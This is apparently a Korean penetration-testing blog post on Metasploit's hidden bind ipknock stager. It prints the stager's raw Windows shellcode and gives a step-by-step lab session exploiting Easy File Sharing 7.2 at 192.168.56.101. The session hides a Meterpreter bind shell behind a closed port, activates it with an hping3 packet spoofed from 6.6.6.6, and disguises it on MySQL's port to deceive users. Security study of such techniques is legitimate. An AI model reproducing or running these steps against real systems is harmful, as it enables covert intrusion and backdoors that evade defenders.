Metasploit ipknock를 이용한 hidden meterpreter shell
metasploit에서 payload에 대해 찾아보던 중 ipknock에 대한 내용을 보게되었습니다. 찾아보니 오래전부터 있던 기능이였는데, 잘 활용하면 재미있는 놀거리가 되겠더군요.
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
payload/windows/dllinject/bind_hidden_ipknock_tcp normal Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
payload/windows/meterpreter/bind_hidden_ipknock_tcp normal Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal Windows Inject DLL, Hidden Bind Ipknock TCP Stager
payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
payload/windows/shell/bind_hidden_ipknock_tcp normal Windows Command Shell, Hidden Bind Ipknock TCP Stager
payload/windows/upexec/bind_hidden_ipknock_tcp normal Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
payload/windows/vncinject/bind_hidden_ipknock_tcp normal VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
오늘은 ipknock을 이용한 meterperter shell 사용과 그 원리에 대해 이야기할까 합니다.
What is ipknock?
Ipknock TCP Stager를 의미하며 이는 특정 IP에서 knock(노크)가 있어야만 쉘을 사용할 수 있게 구성된 payload 입니다. Metasploit에서 Socket 통신 시 Closed로 나타낼 수 있어 쉘을 숨길 수 있지요.
이전에 paranoid mode 글과 같이 쉘을 안전하게 사용하기 위한 방법 중 하나이지요.
- https://www.hahwul.com/2016/07/metasploit-meterpreter-paranoid-mode.html
비슷한 개념으론 Port knocking이 있습니다. 이는 listen중인 closed 포트를 두고 특정 순서의 요청(노크)가 발생했을 때 정상 정상 연결을 허용해주죠. 방화벽 기능에서도 비슷한게 있는것으로 알고있습니다. 자세한 내용은 아래 링크 참고해주세요.
- https://wiki.archlinux.org/index.php/Port_knocking
다시 본론으로 와서 동작 형태를 보면 ipknock payload는 exploit에 의해 실행되면 서비스에 기생하며 대기하고 있습니다.
대기중에 knock ip 로 지정한 ip에서 패킷을 수신해야만 기존에 지정한 meterpreter shell이 열리게 됩니다. 고로 패킷 수신전까지는 클라이언트 환경에서도 숨길 수 있고 bind 쉘을 경우 다른 공격자에 의해 발각될 확률 또한 확실히 줄여줍니다.
Code analysis
사실 ruby 코드 자체는 별다른게 없습니다.
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'RequiresMidstager' => false,
'Offsets' =>
{
'LPORT' => [ 193, 'n' ],
'KHOST' => [ 255, 'ADDR' ]
},
'Payload' =>
# Length: 359 bytes
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
"\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" +
"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" +
"\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" +
"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" +
"\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" +
"\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" +
"\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" +
"\x1a\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" +
"\xa8\x01\x21\x74\x03\x31\xc0\x40\x89\x45\x54\xc2\x20\x00\x53\x53" +
"\x57\x68\x94\xac\xbe\x33\xff\xd5\x83\x7c\x24\x04\x00\x75\xcf\x40" +
"\x75\x06\x53\x53\xeb\xe8\x74\xc6\x48\x57\x97\x68\x75\x6e\x4d\x61" +
"\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" +
"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" +
"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" +
"\x01\xc3\x29\xc6\x75\xee\xc3"
}
))
payload를 전달해줄뿐이니깐요. 이제 이 payload 가 굉장히 중요해지는데요, 아래 링크의 asm 파일로 행위를 볼 수 있습니다. 심지어 주석도 잘 되어있어서 딱 보면 아하 하실거에요.
- https://raw.githubusercontent.com/rapid7/metasploit-framework/master/external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm
asm 코드를 보면 초기에 socket을 bind 한 후 아래 구간에서 검증을 진행하게 됩니다. KHOST로 지정한 IP가 맞는지 여부 확인 후 실제 쉘이 동작하는 socket으로 전환하죠.
초기 소켓 생성 구간
KHOST가 지정된 ip가 맞는지 검증
쉘 연결
ipknock payload를 이용하여 meterpreter shell 사용하기
ipknock로 검색하시면 여러개 나옵니다. 전 그 중에 meterpreter shell의 Hidden Bind Ipknock TCP Stager를 사용하도록 하죠. 일단 먼저 사용할 Exploit 부터 고르고..
HAHWUL > use exploit/windows/http/easyfilesharing_post
HAHWUL exploit(easyfilesharing_post) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
ipknock payload를 지정합니다.
HAHWUL exploit(easyfilesharing_post) > set PAYLOAD windows/meterpreter/bind_hidden_ipknock_tcp
PAYLOAD => windows/meterpreter/bind_hidden_ipknock_tcp
옵션을 보면 기존 payload 와 유사하지만 몇가지 항목이 더 있는 걸 알 수 있습니다. 옵션 중 KHOST는 knock를 받을 ip 주소입니다. KHOST로 부터 패킷 수신이 일어나야 쉘이 동작하게 됩니다.
HAHWUL exploit(easyfilesharing_post) > show options
Module options (exploit/windows/http/easyfilesharing_post):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.56.101 yes The target address
RPORT 80 yes The target port (TCP)
Payload options (windows/meterpreter/bind_hidden_ipknock_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
KHOST yes IP address allowed
LPORT 4444 yes The listen port
RHOST 192.168.56.101 no The target address
Exploit target:
Id Name
-- ----
0 Easy File Sharing 7.2 HTTP
여기서 KHOST는 본인이 소유한 IP가 아니여도 사용이 가능합니다. IP Spoofing을 이용하면 아주 쉽죠. 임의의 IP 지정 후 hping 등을 이용해 spoofing 된 패킷을 던져 meterpreter를 활성화 할 수 있습니다. 공격을 수행해보면 session 이 맺어지지 않습니다.
HAHWUL exploit(easyfilesharing_post) > set KHOST 6.6.6.6
KHOST => 6.6.6.6
HAHWUL exploit(easyfilesharing_post) > exploit -z
[*] Started bind handler
[*] Exploit completed, but no session was created.
왜냐하면 아직 knock가 이루어지지 않았기 때문이죠. 현재 이 상태일 때 해당 포트는 closed 로 나타납니다.
HAHWUL exploit(easyfilesharing_post) > db_nmap -PN 192.168.56.101 -p 4444
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:10 KST
[*] Nmap: Nmap scan report for 192.168.56.101
[*] Nmap: Host is up (0.00064s latency).
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 4444/tcp closed krb524
[*] Nmap: MAC Address: 08:00:27:69:14:FF (Oracle VirtualBox virtual NIC)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
제가 KHOST로 지정한 6.6.6.6에서 패킷이 오기 전까지는 이 친구는 의미없는 포트가 되지요.
HAHWUL exploit(easyfilesharing_post) > hping3 -S -p 4444 192.168.56.101 -c 1
[*] exec: hping3 -S -p 4444 192.168.56.101 -c 1
--- 192.168.56.101 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 3.7/3.7/3.7 ms
HPING 192.168.56.101 (vboxnet0 192.168.56.101): S set, 40 headers + 0 data bytes
len=40 ip=192.168.56.101 ttl=128 DF id=3300 sport=4444 flags=RA seq=0 win=8192 rtt=3.7 ms
6.6.6.6이 아닌 ip에선 열심히 패킷을 보내도.. 의미가 없습니다. 그럼 이제 KHOST에서 knock를 해볼까요?
HAHWUL exploit(easyfilesharing_post) > hping3 -S -p 4444 192.168.56.101 -c 1 --spoof 6.6.6.6
[*] exec: hping3 -S -p 4444 192.168.56.101 -c 1 --spoof 6.6.6.6
--- 192.168.56.101 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 3.9/3.9/3.9 ms
HPING 192.168.56.101 (vboxnet0 192.168.56.101): S set, 40 headers + 0 data bytes
len=44 ip=192.168.56.101 ttl=128 DF id=3319 sport=4444 flags=SA seq=0 win=8192 rtt=3.9 ms
다시 nmap을 통해서 보면..
HAHWUL exploit(easyfilesharing_post) > db_nmap -PN 192.168.56.101 -p 4444
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:13 KST
[*] Nmap: Nmap scan report for 192.168.56.101
[*] Nmap: Host is up (0.00076s latency).
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 4444/tcp open krb524
[*] Nmap: MAC Address: 08:00:27:69:14:FF (Oracle VirtualBox virtual NIC)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
이제 open 되었습니다. handler를 통해 열려있는 bind 쉘로 연결하면 됩니다.
HAHWUL exploit(easyfilesharing_post) > use exploit/multi/handler
HAHWUL exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
RPORT는 기본으로 4444가 맞춰져있으니 RHOST만 설정한 후 exploit 합니다.
HAHWUL exploit(handler) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
HAHWUL exploit(handler) > exploit -z
[*] Exploit running as background job 0.
[*] Started bind handler
HAHWUL exploit(handler) >
[*] Sending stage (179267 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:46811 -> 192.168.56.101:4444) at 2017-09-08 14:14:41 +0900
HAHWUL exploit(handler) >
HAHWUL exploit(handler) >
HAHWUL exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
meterpreter >
meterpreter >
잘 되네욥 :)
Once more
사용자를 속이기 위해선 잘 알려진 포트를 활용합니다.
HAHWUL exploit(easyfilesharing_post) > set LPORT 3306
HAHWUL exploit(easyfilesharing_post) > exploit -z
[*] Started bind handler
[*] Exploit completed, but no session was created.
nmap -PN 192.168.56.101
Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-08 14:55 KST
Nmap scan report for 192.168.56.101
Host is up (0.0012s latency).
Not shown: 989 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
554/tcp open rtsp
2869/tcp open icslap
3306/tcp closed mysql
역시나 Closed로 나타납니다. Exploit 진행해주고 윈도우에선 어떤 행위들이 나타나는지 지켜보면 payload 로드 시 33306 포트가 대기합니다. 다만 이 친구는 정상 연결을 허용하지 않아 Closed로 나타나게 되죠.
HAHWUL exploit(handler) > set LPORT 3306
LPORT => 3306
HAHWUL exploit(handler) > exploit -z
[*] Exploit running as background job 1.
[*] Started bind handler
HAHWUL exploit(handler) > [*] Sending stage (179267 bytes) to 192.168.56.101
[*] Meterpreter session 2 opened (192.168.56.1:44471 -> 192.168.56.101:3306) at 2017-09-08 15:03:30 +0900
IP Spoof된 SYN 요청 수신 시 정상 소켓 모드로 전환하고 쉘 연결을 대기합니다.
사실 크게 별다른건 없습니다.
Reference
- https://www.rapid7.com/db/modules/payload/windows/meterpreter/bind_hidden_ipknock_tcp
- https://wiki.archlinux.org/index.php/Port_knocking